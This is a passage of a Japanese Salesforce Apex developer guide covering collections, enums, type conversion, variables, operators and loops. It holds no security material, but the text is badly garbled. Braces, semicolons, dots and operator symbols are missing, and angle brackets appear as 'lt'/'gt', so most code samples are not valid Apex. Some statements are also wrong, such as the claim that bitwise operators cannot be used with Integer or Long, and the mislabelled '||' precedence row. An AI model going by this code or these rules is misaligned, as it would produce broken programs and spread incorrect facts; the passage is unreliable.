ListltIntegergt ints = new Integer[6]

最初の場所に新しい Account オブジェクト2 番目にnull3 番目の場所に別の新しい Account オブジェク

ListltAccountgt accts = new Account[] newAccount() null new Account()

トなど 3 つの Account にメモリを割り当てた Accountリストを定義します

与えられた要素を含む新しい Contact リストを定義します

ListltContactgt contacts = new ListltContactgt(otherList)

sObjects のリスト

Apex はリストがデータ操作言語 (DML) ステートメントを含むデータベースに正常に挿入されると自動的にsObject のリストの各オブジェクトに ID を生成しますその結果同じ sObject を複数回含む場合null ID を持つ場合でもsObject のリストを挿入することはできませんこれは2 つの ID をメモリ内の同じ構造内に書き込む必要があるということは違反であることを示しています

たとえば次のコードブロックの insertステートメントは同じ sObject (a) への参照を 2 つ持つリストを挿入しようとしているためListExceptionを生成します

try

同じ sObject 要素への 2 つの参照を持つリストを作成 Account a = new Account() Account[] accs= new Account[]a a

挿入を試行 insert accs

取得せず Systemassert(false) catch (ListException e) ここで取得

DML ステートメントの詳細は「Apex のデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

汎用 sObject データ型にリストを使用することができますリストの汎用インスタンスを作成することもできます

セット

セットは重複する要素を含まないプリミティブデータ型の順不同のコレクションですたとえば次の表には都市名のセットを示します

TokyoParisNew YorkSan Francisco

言語構造 Version 180 | コレクション | 35

セットを宣言するにはltgt 文字で囲んだプリミティブデータ型の前に Setキーワードを使用します例

new SetltStringgt()

次のようにしてセットを宣言し投入します

SetltStringgt s1 = new SetltStringgta b + c 2 つの要素を持つ新しいセットを定義 SetltStringgts2 = new SetltStringgt(s1) 以前の手順で作成されたセットの要素 を含む新しいセットを定義します

セットの要素にアクセスするにはApex で提供されたシステムメソッドを使用します例

SetltIntegergt s = new SetltIntegergt() 新しいセットを定義 sadd(1) 要素をセットに追加 Systemassert(scontains(1)) セットに要素が含まれていることを確

認 sremove(1) セットから要素を削除

サポートされているセットシステムメソッドの詳細は「Set メソッド」 (ページ 234)を参照してください

セットについて次の点に注意してください

bull Java と異なりApex 開発者は宣言でマップを実装するために使用するアルゴリズムを参照する必要がありません (HashSetまたは TreeSetなど)Apex はすべてのセットにハッシュ構造を使用します

bull セットは順序のないコレクションですセットの結果が返される順序に依存しないでくださいセットによって返されるオブジェクトの順序は警告なく変更される場合があります

マップ

マップは一意のキーを単一の値に対応付けるキー 値のペアのコレクションですキーはプリミティブデータ型で値はプリミティブsObjectコレクション型または Apex オブジェクトとなりますたとえば次の表は国名と通貨のマップを示します

IndiaEnglandFranceJapanUnited States国 (キー)

RupeePoundEuroYenDollar通貨 (値)

リストと同様マップの値にはコレクションを含める事ができネストすることが可能ですたとえばIntegerのマップをマップしたりString をリストにマップすることができますマップではコレクションを最大 5 段階ネストすることができます

マップを宣言するにはltgt 文字で囲んだキーおよび値のデータ型の前に Mapキーワードを使用します例

MapltString Stringgt country_currencies = new MapltString Stringgt() MapltID SetltStringgtgt m= new MapltID SetltStringgtgt() MapltID MapltID Account[]gtgt m2 = new MapltID MapltIDAccount[]gtgt()

汎用 sObject データ型にマップを使用することができますマップの汎用インスタンスを作成することもできます

リスト同様マップを中かっこ () 構文を使用して宣言する場合マップのキー-値のペアを投入することができます中かっこの中でキーを最初に指定し=gtを使用してキーの値を指定します例

MapltString Stringgt MyStrings = new MapltString Stringgta =gt b c =gt dtoUpperCase()

言語構造 Version 180 | コレクション | 36

Account[] accs = new Account[5] Account[] は ListltAccountgt と同じです MapltIntegerListltAccountgtgt m4 = new MapltInteger ListltAccountgtgt1 =gt accs

最初の例でキー aの値は bでキー cの値は dです2 番目の例でキー 1にはリスト accsの値が含まれます

マップの要素にアクセスするにはApex で提供されたシステムメソッドを使用します例

Account myAcct = new Account() 新しい取引先を定義 MapltIntegerAccountgt m = new MapltInteger Accountgt() 新しいマップを定義 mput(1 myAcct)

マップに新しいキー-値を挿入 Systemassert(mcontainsKey(3)) マップにキーが含まれていることを確認 Account a = mget(1) 特定のキーを指定して値を取得 SetltIntegergt s =mkeySet() マップのすべてのキーを含むセットを返す

サポートされているマップシステムメソッドの詳細は「Map メソッド」 (ページ 231)を参照してください

マップについて次の点に注意してください

bull Java と異なりApex 開発者は宣言でマップを実装するために使用するアルゴリズムを参照する必要がありません (HashMapまたは TreeMapなど)Apex はすべてのマップにハッシュ構造を使用します

bull マップの結果が返される順序に依存しないでくださいマップによって返されるオブジェクトの順序は警告なく変更される場合がありますマップ要素には常にキーによってアクセスします

SObject 配列からのマップ

ID または String データ型から sObject へのマップはsObjects のリストから初期化できますオブジェクトの ID(null 以外の重複しない値) はキーとして使用されますこのマップ型の一般的な使用方法は2 つの表の間でメモリ内「結合」するためのものですたとえばこの例では ID と Contact のマップをロードします

MapltID Contactgt m = new MapltID Contactgt([select id lastname from contact])

例ではSOQL クエリは id項目 lastname項目を含む連絡先のリストを返しますnew演算子はリストを使用してマップを作成します詳細は「SOQL クエリおよび SOSL クエリ」 (ページ 55)を参照してください

コレクションの繰り返し処理

コレクションはリストセットまたはマップで構成されますコレクションの繰り返し処理中にコレクションの要素を変更することはできません変更するとエラーが発生します要素を含むコレクションを繰り返し処理中に要素を直接追加したり削除しないでください

繰り返し処理中の要素の追加

リストセットまたはマップの繰り返し処理中に要素を追加するには新しい要素を一時的なリストセットまたはマップに保存しコレクションの処理が終了した後で元のコレクションに追加します

繰り返し処理中の要素の削除

リストの繰り返し処理中に要素を削除するには新しいリストを作成し保存する要素をコピーしますまたは削除する要素を一時的なリストに追加してコレクションの処理が終了した後で削除することもできます

メモ

Listremoveメソッドが一次的に実行しますこのメソッドを使用して要素を削除することは時間と人員の点で意味があります

言語構造 Version 180 | コレクション | 37

マップまたはセットの繰り返し処理中に要素を削除するには削除するキーを一時的なリストに保存しコレクションの処理が終了した後で削除します

Enum

enum は指定された識別子の有限の集合から つだけを値に持つ抽象データ型ですEnumは通常トランプや季節など特定の数値 順序を持たない値のセットを定義しますenum の各値はユニークな整数値を持ちますがenum の内部処理のみに利用されており不用意に間違って数値処理等の対象としないよう実装を隠していますenum を作成した後変数メソッド引数戻り型を該当するデータ型に宣言します

メモ Java と異なりenum 型自体にはコンストラクタ構文はありません

enumを定義するには宣言でenumキーワードを使用し中かっこを使用して値のリストを区画しますたとえば次のコードは Seasonという enum を作成します

public enum Season WINTER SPRING SUMMER FALL

enum Seasonを作成してSeasonという新しいデータ型も作成します他のデータ型と同じようにこの新しいデータ型を使用できます例

Season e = SeasonWINTER

Season m(Integer x Season e)

If (e == SeasonSUMMER) return e

クラスを enum に定義することもできますenum クラスを作成する場合定義で classキーワードを使用しません

public enum MyEnumClass X Y

enum は他のデータ型の名前を使用する場所であればどこででも使用できます型が enum である変数を定義する場合それに割り当てるオブジェクトはその enum のインスタンスでなければなりません

webServiceメソッドは enum 型を署名の一部として使用できますこの場合関連する WSDL ファイルにはenum およびその値の定義が含まれAPI クライアントによって使用できます

Apex には次のようなシステム定義 enum があります

bull SystemStatusCode

この enum はすべての API 演算子の WSDL で表示される API エラーコードに対応しています例

StatusCodeCANNOT_INSERT_UPDATE_ACTIVATE_ENTITYStatusCodeINSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY

ステータスコードの完全なリストは組織の WSDL ファイルから入手できます組織の WSDL ファイルへのアクセスの詳細はSalesforcecomオンラインヘルプの「Salesforcecom WSDL およびクライアント認証証明書のダウンロード」を参照してください

bull SystemXmlTag

言語構造 Version 180 | Enum | 38

この enum はwebServiceメソッドの結果 XML を解析するために使用する XML タグのリストを返します詳細は「XmlStreamReaderクラス」 (ページ 366)を参照します

bull SystemLoggingLevel

この enum は systemdebugメソッドを使用してすべての debugコールのログレベルを指定します詳細は「システムメソッド」 (ページ 285)を参照してください

bull SystemRoundingMode

この enum はDecimal divideメソッドおよび Double roundメソッドなど処理の丸め動作を指定する数学的処理を実行するメソッドによって使用されます詳細は「丸めモード」 (ページ217)を参照してください

bull SystemSoapType

この enum は項目記述結果の getSoapTypeメソッドによって返されます詳細は「SchemaSOAPTypeEnum 値 (ページ 256)」を参照してください

bull SystemDisplayType

この enum は項目記述結果の getTypeメソッドによって返されます詳細は「SchemaDisplayType Enum値 (ページ 254)」を参照してください

bull ApexPagesSeverity

この enum はVisualforce メッセージの重要度を指定します詳細は「ApexPagesSeverity Enum」 (ページ326)を参照してください

bull DomXmlNodeType

DOM ドキュメントのノードの種類を指定します詳細は「ノードの種類 (ページ 357)」を参照してください

メモ システム定義の enum は Web サービスメソッドで使用することはできません

システム enum のすべての enum 値にはそれらに関連する共通メソッドがあります詳細は「Enum メソッド」 (ページ 237)を参照してください

ユーザー定義のメソッドを enum 値に追加することができません

変換の規則について通常Apexではあるデータ型を別のデータ型に変換する場合明示的に指示する必要がありますたとえばInteger データ型の変数を暗黙的に String に変換することはできませんstringformatメソッドを使用する必要がありますただし一部のデータ型ではメソッドを使用せず暗黙的に変換することができます

精度の低い数値型は明示的な変換をせずにより高精度の数値型に割り当てる事ができます次に示すのは数値の階層です (精度が低い方順に並んでいます)

1 Integer2 Long3 Double4 Decimal

メモ 値が精度の低い型から高い型に渡されると値は高い精度を持つ型に変換されます

言語構造 Version 180 | 変換の規則について | 39

この数値の階層と暗黙的な変換は元のインターフェースの数値が維持され暗黙の変換を禁止する Java とは異なります

数値のほかにも暗黙的に変換されるデータ型があります以下の規則が適用されます

bull ID は必ず String に割り当てることができますbull String は ID に割り当てることができますただし実行時値が正当な ID であることを確認します正当で

ない場合ランタイム例外が発生しますbull instanceOfキーワードにより文字列が ID であるかどうかいつでもテストできます

変数

ローカル変数はJava スタイルの構文で宣言されます例

Integer i = 0 String str Account a Account[] accts SetltStringgt s MapltID Accountgt m

Java と同様カンマ区切り形式を使用して複数の変数を単一のステートメントで宣言および初期化することができます例

Integer i j k

すべての変数は nullを値とすることができ別の値が割り当てられていない場合は nullに初期化されますたとえば次の例ではiおよび kには値が割り当てられjには値が割り当てられていないためnullに設定されます

Integer i = 0 j k = 1

変数はブロック内のどの場所でも定義できその場所から先のスコープとなりますサブブロックはすでに親ブロックで使用されている変数名を再定義できませんが並行ブロックは変数名を再利用できます例

Integer i Integer i この宣言は無効です

for (Integer j = 0 j lt 10 j++) for (Integer j = 0 j lt 10 j++)

大文字と小文字の区別大文字と小文字を区別しない SOQL および SOSL クエリとの混乱を避けるためApex も大文字と小文字の区別をしませんつまり次のようになります

bull 変数名とメソッド名は大文字と小文字の区別をしません例

Integer I Integer i これはエラーです

bull オブジェクト名および項目名への参照は大文字と小文字の区別をしません例

Account a1 ACCOUNT a2

言語構造 Version 180 | 変数 | 40

bull SOQL および SOSL ステートメントは大文字と小文字の区別をしません例

Account[] accts = [sELect ID From ACCouNT where nAme = fred]

またApex はSOQL と同じフィルタリングセマンティックを使用しますそれはAPI と Salesforcecom ユーザーインターフェースとの比較の基本となりますこれらのセマンティックを使用すると興味深い動作が発生しますたとえばエンドユーザーがアルファベットの「m」の前以前の値の条件 (つまり値 ltm) でレポートを実行するとnull 項目が結果の一部として返されますこれはすなわちユーザーは通常値を持たない項目について実際の「null」値ではなく単なる「スペース」文字として考えるということですそのためApexでは次の表現はすべて真に評価します

String s Systemassert(a == A) Systemassert(s lt b) Systemassert((s gt b))

メモ 上記の例では s lt bは真に評価しますが文字を null 値と比較しようとするためbcompareTo(s)はエラーを生成します

定数定数はfinalキーワードを使用して定義できます値は宣言自体でまたは定数がクラス内で定義されている場合は静的初期化子メソッドで一度のみ割り当てることができます例

public class myCls static final Integer PRIVATE_INT_CONST static finalInteger PRIVATE_INT_CONST2 = 200

public static Integer calculate() return 2 + 7

static PRIVATE_INT_CONST = calculate()

詳細は「finalキーワードの使用」 (ページ 102)を参照してください

式は変数演算子単一の値を評価するメソッド呼び出しで構成されますこの項ではApex の式の概要および以下のトピックについて説明しています

bull 式の理解 (ページ 41)bull 式の演算子について (ページ 42)bull 演算子の優先度について (ページ 48)bull sObject 式およびリスト式の拡張 (ページ 49)bull コメントの使用 (ページ 49)

式について式は変数演算子単一の値を評価するメソッド呼び出しで構成されますApex の場合式は次のタイプのいずれかでなければなりません

言語構造 Version 180 | 定数 | 41

bull リテラル式例

1 + 1

bull 新しい sObjectApex オブジェクトリストセットまたはマップ例

new Account(ltfield_initializersgt) new Integer[ltngt] new Account[]ltelementsgt newListltAccountgt() new SetltStringgt new MapltString Integergt() new myRenamingClass(stringoldName string newName)

bull 変数一次元リストの場所多くの sObject または Apex オブジェクト項目の参照など代入演算子の左側として機能できる値 (L-値)例

Integer i myList[3] myContactname myRenamingClassoldName

bull sObject 項目参照L-値ではなく次のようなものがあります

- リストの sObject の ID (「リスト」を参照してください)- sObject に関連する子レコードのセット (親取引先と関連する連絡先のセットなど)この種類の式は

「SOQL クエリおよび SOSL クエリ」と同様クエリ結果を生成します

bull 大かっこで囲まれた SOQL クエリまたは SOSL クエリApex で容易に評価できます例

Account[] aa = [select id name from account where name =Acme] Integer i = [selectcount() from contact where lastname =Weissman] ListltListltSObjectgtgt searchList = [FINDmap IN ALL FIELDS RETURNING Account (id name) Contact Opportunity Lead]

詳細は「SOQL クエリおよび SOSL クエリ」 (ページ 55)を参照してくださいbull 静的メソッドまたはインスタンスメソッドの呼び出し例

Systemassert(true) myRenamingClassreplaceNames() changePoint(new Point(x y))

式の演算子について演算子を使用して式をお互いに結合し複合式を作成することができますApex では次の演算子を使用できます

説明構文演算子

代入演算子 (右結合)yの値を L-値 xに割り当てますxのデータ型は yのデータ型と一致する必要がありnullとなることはできません

x = y=

加算代入演算子 (右結合)yの値を xの元の値に追加しxに新しい値を再代入します詳細は+を参照してくださいxおよび yをnullとすることはできません

x += y+=

乗算代入演算子 (右結合)yの値を xの元の値に乗算しxに新しい値を再代入しますxおよび yは Integer または Doubleまたは組み

x = y=

言語構造 Version 180 | 式の演算子について | 42

説明構文演算子

合わせである必要がありますxおよび yを nullとすることはできません

減算代入演算子 (右結合)yの値を xの元の値から減算しxに新しい値を再代入しますxおよび yは Integer または Doubleまたは組

x -= y-=

み合わせである必要がありますxおよび yを nullとすることはできません

除算代入演算子 (右結合)yの元の値を xで除算しxに新しい値を再代入しますxおよび yは Integer または Doubleまたは組み合わ

x = y=

せである必要がありますxおよび yを nullとすることはできません

OR 代入演算子 (右結合)xが Boolean かつ yが Boolean でいずれも偽である場合xは偽のままとなりますそうでない場合xには真の値を代入します

メモ

x |= y|=

bull この演算子は「短絡な」動作を示しyはxが偽の場合にのみ評価されます

bull xおよび yを nullとすることはできません

AND 代入演算子 (右結合)xが Boolean かつ yが Boolean でいずれも真である場合xは真のままとなりますそうでない場合xには偽の値を代入します

メモ

x amp= yamp=

bull この演算子は「短絡な」動作を示しyはxが真の場合にのみ評価されます

bull xおよび yを nullとすることはできません

ビット単位の左シフト代入演算子xの各ビットをyビットで左にシフトします上位の順番のビットが失われ新しい右側のビットが 0に設定されますこの値は xに再代入されます

x ltlt= yltlt=

ビット単位の右シフト符号付き代入演算子xの各ビットをyビットで右にシフトします回の順番のビットが失われ新しい左のビッ

x gtgt= ygtgt=

トがyが正の値の場合 0 にyが負の値の場合 1 に設定されますこの値は xに再代入されます

ビット単位の右シフト符号なし代入演算子xの各ビットをyビットで右にシフトします下位の順番のビットが失われyのすべての値

x gtgtgt= ygtgtgt=

について新しい左側のビットが 0 に設定されますこの値は xに再代入されます

3 項演算子 (右結合)この演算子はif-then-else ステートメントの短縮として機能しますxが Boolean で真の場合yが結果となります

x y z

そうでない場合zが結果となりますxを nullとすることはできません

言語構造 Version 180 | 式の演算子について | 43

説明構文演算子

AND 論理演算子 (左結合)xが Boolean かつ yが Boolean でいずれも真である場合式は真に評価しますそうでない場合式は偽に評価します

メモ

x ampamp yampamp

bull ampampは ||より優先されますbull この演算子は「短絡な」動作を示しyはxが真の場合にのみ評

価されますbull xおよび yを nullとすることはできません

OR 論理演算子 (左結合)xが Boolean かつ yが Boolean でいずれも偽である場合式は偽に評価しますそうでない場合式は真に評価します

メモ

x || y||

bull ampampは ||より優先されますbull この演算子は「短絡な」動作を示しyはxが偽の場合にのみ評

価されますbull xおよび yを nullとすることはできません

等価演算子xの値がyの値に等しい場合式は真に評価しますそうでない場合式は偽に評価します

メモ

x == y==

bull Java とは異なりApex の ==は参照の等式ではなくオブジェクト値の等式を比較します結果次のようになります

- ==を使用した文字列の比較では大文字と小文字を区別しません

- ==を使用した ID の比較では大文字と小文字を区別し15 文字の形式および 18 文字の形式を区別しません

bull sObjects および sObject の配列に対し==は結果を返す前にすべての sObject に詳細なチェックを実行します

bull レコードに対し各項目には真に評価する ==の値が含まれている必要があります

bull xまたは yをリテラルの nullとすることができますbull 2 つの値の比較により nullとなることはありませんbull SOQL および SOSL では==ではなく等価演算子の =を使用

しますApexと SOQL および SOSL は強くリンクしていますが多くの近代言語では代入に =そして等式に ==を使用するため構文の不一致が発生しますApexのデザイナーは開発者が新しい代入演算子を学ばずにこのパラダイムを維持することが重要であると考えていますその結果Apex開発者は主要なスクリプト本文で ==を等式テストにそして SOQL クエリおよび SOSL クエリの =等式に使用する必要があります

言語構造 Version 180 | 式の演算子について | 44

説明構文演算子

厳密な等価演算子xおよびyがメモリ内のまったく同じ場所を参照する場合式は真に評価しますそうでない場合式は偽に評価しま

x === y===

すこの演算子は sObjects またはコレクション (マップまたはリストなど) のみを処理しますApex オブジェクト (例外またはクラスのインスタンス化など) の場合厳密な等価演算子は等価演算子と同じです

小なり演算子xがyより小さい場合式は真に評価しますそうでない場合式は偽に評価します

メモ

x lt ylt

bull その他のデータベースストアドプロシージャと異なりApexでは3 状態 Boolean ロジックはサポートされておらず2 つの値の比較によって nullとなることはありません

bull xまたは yが nullで IntegerDoubleDateまたは Datetime となる場合式は偽となります

bull null以外の String または ID 値は常に null値より大きくなります

bull xおよびyが ID の場合それらは同じデータ型のオブジェクトを参照する必要がありますそうでない場合ランタイムエラーが発生します

bull xまたは yのいずれかが ID でもう一方が String の場合String 値は ID として検証され処理されます

bull xおよび yはBoolean とすることはできませんbull 2 つの文字列の比較はコンテキストユーザーのロケールにした

がって実行されます

大なり演算子xがyより大きい場合式は真に評価しますそうでない場合式は偽に評価します

メモ

x gt ygt

bull 2 つの値の比較により nullとなることはありませんbull xまたは yが nullで IntegerDoubleDateまたは Datetime と

なる場合式は偽となりますbull null以外の String または ID 値は常に null値より大きくなりま

すbull xおよびyが ID の場合それらは同じデータ型のオブジェクトを

参照する必要がありますそうでない場合ランタイムエラーが発生します

bull xまたは yのいずれかが ID でもう一方が String の場合String 値は ID として検証され処理されます

bull xおよび yはBoolean とすることはできませんbull 2 つの文字列の比較はコンテキストユーザーのロケールにした

がって実行されます

言語構造 Version 180 | 式の演算子について | 45

説明構文演算子

以下演算子xがyより小さいまたは等しい場合式は真に評価しますそうでない場合式は偽に評価します

メモ

x lt= ylt=

bull 2 つの値の比較により nullとなることはありませんbull xまたは yが nullで IntegerDoubleDateまたは Datetime と

なる場合式は偽となりますbull null以外の String または ID 値は常に null値より大きくなりま

すbull xおよびyが ID の場合それらは同じデータ型のオブジェクトを

参照する必要がありますそうでない場合ランタイムエラーが発生します

bull xまたは yのいずれかが ID でもう一方が String の場合String 値は ID として検証され処理されます

bull xおよび yはBoolean とすることはできませんbull 2 つの文字列の比較はコンテキストユーザーのロケールにした

がって実行されます

以上演算子xがyより大きいまたは等しい場合式は真に評価しますそうでない場合式は偽に評価します

メモ

x gt= ygt=

bull 2 つの値の比較により nullとなることはありませんbull xまたは yが nullで IntegerDoubleDateまたは Datetime と

なる場合式は偽となりますbull null以外の String または ID 値は常に null値より大きくなりま

すbull xおよびyが ID の場合それらは同じデータ型のオブジェクトを

参照する必要がありますそうでない場合ランタイムエラーが発生します

bull xまたは yのいずれかが ID でもう一方が String の場合String 値は ID として検証され処理されます

bull xおよび yはBoolean とすることはできませんbull 2 つの文字列の比較はコンテキストユーザーのロケールにした

がって実行されます

不等価演算子xの値がyの値と等しくない場合式は真に評価しますそうでない場合式は偽に評価します

メモ

x = y=

bull Java とは異なりApex の =は参照の等式ではなくオブジェクト値の等式を比較します

bull sObjects および sObject の配列に対し=は結果を返す前にすべての sObject に詳細なチェックを実行します

言語構造 Version 180 | 式の演算子について | 46

説明構文演算子

bull レコードについてレコードに項目のさまざまな値がある場合=

は真に評価しますbull xまたは yをリテラルの nullとすることができますbull 2 つの値の比較により nullとなることはありません

厳密な不等価演算子xおよびyがメモリ内のまったく同じ場所を参照しない場合式は真に評価しますそうでない場合式は偽に評価

x == y==

しますこの演算子は sObjects またはコレクション (マップまたはリストなど)または Apex オブジェクト (クラスの例外またはインスタンス化) のみを処理します

加算演算子次のルールに従ってxの値を yの値に追加しますx + y+

bull xおよび yが Integer または Double の場合xの値は yの値に追加しますDouble が使用されると結果は Double となります

bull xが Date で yが Integer の場合指定した日数で増加した新しいDate を返します

bull xが Datetime で yが Integer または Double の場合日の部分に対応する分数部分で指定した日数で増加した新しい Date を返します

bull xが String で yが String またはその他のデータ型の null以外の引数である場合yを xの終わりに連結します

減算演算子次のルールに従ってyの値からyの値を減算しますx - y-

bull xおよび yが Integer または Double の場合xの値を yの値から引きますDouble が使用されると結果は Double となります

bull xが Date で yが Integer の場合指定した日数分減少した新しいDate を返します

bull xが Datetime で yが Integer または Double の場合日の部分に対応する分数部分で指定した日数分減少した新しい Date を返します

乗算演算子Integer または Double の xと別の Integer または Doubleである yを乗算しますDouble が使用されると結果は Double となります

x y

除算演算子Integer または Double の xを別の Integer または Doubleである yで除算しますDouble が使用されると結果は Double となります

x y

論理補数演算子Boolean の値を反転し真は偽に偽を真にします

x

単項否定演算子Integer または Double の xを -1 で乗算します正の等価 +も構文的に有効ですが数学的に影響はありません

-x-

インクリメント演算子1 を Integer または Double である xの値に追加します前に記述した場合 (++x)ステートメントの残りが実行さ

x++

++x

++

言語構造 Version 180 | 式の演算子について | 47

説明構文演算子

れる前に増加します後に記述した場合 (++x)ステートメントの残りが実行された後に増加します

デクリメント演算子1 を Integer または Double である xの値から減算します前に記述した場合 (--x)ステートメントの残りが実行さ

x--

--x

--

れる前に減算します後に記述した場合 (x--)ステートメントの残りが実行された後に減算します

ビット単位の AND 演算子xの各ビットと yの対応するビットをAND 演算します両方のビットが 1 に設定されると結果ビットは 1

x amp yamp

に設定されますこの演算子は Long または Integer には使用できません

ビット単位の OR 演算子xの各ビットと yの対応するビットを OR演算します少なくとも 1 つのビットが 1 に設定されると結果ビット

x | y|

は 1 に設定されますこの演算子は Long または Integer には使用できません

ビット単位の排他的 OR 演算子xの各ビットと yの対応するビットに排他的な OR 演算をします1 つのビットが 1 に設定されもう一方が 0 に設定されると結果ビットは 1 に設定されます

x ^ y^

ビット単位の排他的 OR 演算子xの各ビットと yの対応するビットに排他的な OR 演算をします1 つのビットが 1 に設定されもう一方が 0 に設定されると結果ビットは 1 に設定されます

x ^= y^=

ビット単位の左シフト演算子xの各ビットをyビットで左にシフトします上位の順番のビットが失われ新しい右側のビットが 0 に設定されます

x ltlt yltlt

ビット単位の右シフト符号付き演算子xの各ビットをyビットで右にシフトします回の順番のビットが失われ新しい左のビットがyが正の値の場合 0 にyが負の値の場合 1 に設定されます

x gtgt ygtgt

ビット単位の右シフト符号なし演算子xの各ビットをyビットで右にシフトします下位の順番のビットが失われyのすべての値について新しい左側のビットが 0 に設定されます

x gtgtgt ygtgtgt

小かっこ式xの優先度を結合式で最初に評価されるようにします

(x)()

演算子の優先度についてApex では次の演算子優先度の規則を使用しています

説明演算子優先度

グループと前置インクリメントおよびデクリメント

() ++ --1

言語構造 Version 180 | 演算子の優先度について | 48

説明演算子優先度

単項否定型変換およびオブジェクト作成 -x +x (type) new2

乗算および除算 3

加算および減算+ -4

大なり記号および小なり記号参照テストlt lt= gt gt= instanceof5

比較子 等しい等しくない== =6

論理的 ANDampamp7

論理的 AND||8

代入演算子= += -= = = amp=9

sObject 式およびリスト式の拡張Java と同様sObject 式とリスト式はメソッド参照およびリスト式をそれぞれ使用して拡張子新しい式を形成することができます

次の例では新しい取引先名の長さを含む新しい変数が acctNameLengthに割り当てられます

Integer acctNameLength = new Account[]new Account(name=Acme)[0]namelength()

上記ではnew Account[]はリストを生成します

このリストはSOQL ステートメント new Account(name=Acme)によって入力されます

Item 0つまりリストの最初の項目は文字列 [0]の次の部分によってアクセスされます

リストの sObject の名前にアクセスし長さ namelength()を返すメソッドが続きます

次の例では小文字にシフトした名前が返されます

String nameChange = [SELECT Name FROM Account][0]NametoLowerCase()

コメントの使用Apex スクリプトでは単一のコメントおよび複数のコメントを使用できます

bull 1 行のコメントを作成するにはを使用しますの右側の同じ行にあるすべての行がパーサーによって無視されます例

Integer i = 1 このコメントはパーサーによって無視されます

bull 複数のコメントを作成するにはおよび を使用してコメントブロックの最初と最後を指定します例

Integer i = 1 このコメントはパーサーに中断されることなく複数行にわたることができます

言語構造 Version 180 | sObject 式およびリスト式の拡張 | 49

代入ステートメント

代入ステートメントは次の 2 つのいずれかの方法で値を変数に代入するステートメントです

[LValue] = [new_value_expression] [LValue] = [[inline_soql_query]]

上記の形式で[LValue]は代入演算子の左側に投入できる式を表しますその具体的な内容は次のとおりです

bull 単純な変数例

Integer i = 1 Account a = new Account() Account[] accts = [select id from account]

bull 参照が解決されたリスト要素例

ints[0] = 1 accts[0]name = Acme

bull コンテキストユーザーが編集する権限を持つ sObject 項目参照例

Account a = new Account(name = Acme billingcity = San Francisco)

ID は手動で設定できません aid = 00300000003T2PGAA0 このコードは無効です

代わりにレコードを挿入します自動的に ID を挿入します insert a

コンテキストユーザーはこの項目の書き込み権限を割り当てられている必要があります acreatedDate= Systemtoday() このコードは createdDate が読み取り専用であるため無効です

取引先が追加されているため関連する 新しい連絡先を作成することができます Contact c = newContact(lastname = Roth account = a)

連絡先を使用して取引先名に直接書き込むことができます caccountname = salesforcecom

代入は必ず参照によって行われます例

Account a = new Account() Account b Account[] c = new Account[] aname = Acme b =a cadd(a)

真であることを確認します取引先 b および取引先リスト c を介して 元来取引先 a に割り当てられていたデータを参照することができます SystemassertEquals(bname Acme)SystemassertEquals(c[0]name Acme)

同様に2 つのリストはメモリ内の同じ値を示すことができます例

Account[] a = new Account[]new Account() Account[] b = a a[0]name = AcmeSystemassert(b[0]name == Acme)

=のほか有効な割り当て演算子には +===|=amp=++および --があります詳細は「式の演算子について」 (ページ 42)を参照してください

言語構造 Version 180 | 代入ステートメント | 50

条件 (If-Else) ステートメント

Apex の条件ステートメントはJava と同じように動作します

if ([Boolean_condition]) Statement 1 else Statement 2

elseの部分は常にオプションで最も近い ifでグループ化されます例

Integer x sign Your code if (x lt= 0) if (x == 0) sign = 0 else sign = -1

次と同等となります

Integer x sign Your code if (x lt= 0) if (x == 0) sign = 0 else sign = -1

繰り返しの else ifステートメントも使用できます例

if (place == 1) medal_color = gold else if (place == 2) medal_color = silver else if (place == 3) medal_color = bronze else medal_color = null

ループ

Apex では次の 5 種類の手続き型ループをサポートしています

bull do statement while (Boolean_condition)

bull while (Boolean_condition) statement

bull for (initialization Boolean_exit_condition increment) statement

bull for (variable array_or_set) statement

bull for (variable [inline_soql_query]) statement

すべてのループは以下のループ制御構文を使用できます

bull breakループ全体を終了しますbull continueループの次の反復にスキップします

Do-While ループApex do-whileループは特定の Boolean 条件が真である限りコードのブロックを繰り返し実行します構文は次のとおりです

do code_block while (condition)

メモ 中かっこ () が必ず code_blockを囲みます

言語構造 Version 180 | 条件 (If-Else) ステートメント | 51

Java と同様Apex do-whileループは最初のループが実行されるまでBoolean 条件ステートメントをチェックしませんその結果コードブロックは最低 1 回実行されます

例として次のコードは1 - 10 の数値をデバッグログに出力します

Integer count = 1

do Systemdebug(count) count++ while (count lt 11)

While ループApexwhileループは特定の Boolean 条件が真である限りコードのブロックを繰り返し実行します構文は次のとおりです

while (condition) code_block

メモ 中かっこ () は複数のステートメントが含まれている場合にのみ code_blockを囲む必要があります

do-whileと異なりwhile lループは最初のループが実行される前に Boolean 条件ステートメントをチェックしますその結果コードブロックが実行されない場合もあります

例として次のコードは1 - 10 の数値をデバッグログに出力します

Integer count = 1

while (count lt 11) Systemdebug(count) count++

For ループApex では3 種類の forループを使用できます

bull 従来の forループ

for (init_stmt exit_condition increment_stmt) code_block

bull リスト反復またはセット反復の forループ

for (variable list_or_set) code_block

この場合 variableは list_or_setと同じプリミティブデータ型または sObject 型と同じである必要がありません

bull SOQL forループ

for (variable [soql_query]) code_block

or

for (variable_list [soql_query]) code_block

言語構造 Version 180 | While ループ | 52

variableおよび variable_listは soql_queryで返される sObject と同じデータ型でなければなりません

メモ 中かっこ () は複数のステートメントが含まれている場合にのみ code_blockを囲む必要があります

それぞれについて後の項で詳細に説明されています

従来の For ループ

Apex の従来の forループはJava およびその他の言語で使用される従来の構文に対応しています構文は次のとおりです

for (init_stmt exit_condition increment_stmt) code_block

この種類の forループを実行するとApex ランタイムエンジンは次のステップを順番に実行します

1 ループの init_stmtコンポーネントを実行します複数の変数をステートメントで宣言および初期化できます

2 exit_conditionチェックを実行します真の場合ループが続行します偽の場合ループが終了します3 code_blockを実行します4 increment_stmtステートメントを実行します5 ステップ 2 に戻ります

例として次のコードは1 - 10 の数値をデバッグログに出力します追加の初期化変数jを使用して構文を実証します

for (Integer i = 0 j = 0 i lt 10 i++) Systemdebug(i+1)

リスト反復またはセット反復の For ループ

リスト反復またはセット反復の forループを使用するとリスト内またはセット内のすべての要素を反復します構文は次のとおりです

for (variable list_or_set) code_block

この場合 variableは list_or_setと同じプリミティブデータ型または sObject 型と同じである必要がありません

この種類の forループを実行するとApex ランタイムエンジンは variableを list_or_setの各要素に割り当て各値の code_blockを実行します

たとえば次のコードは1 - 10 の数値をデバッグログに出力します

Integer[] myInts = new Integer[]1 2 3 4 5 6 7 8 9 10

for (Integer i myInts) Systemdebug(i)

言語構造 Version 180 | For ループ | 53

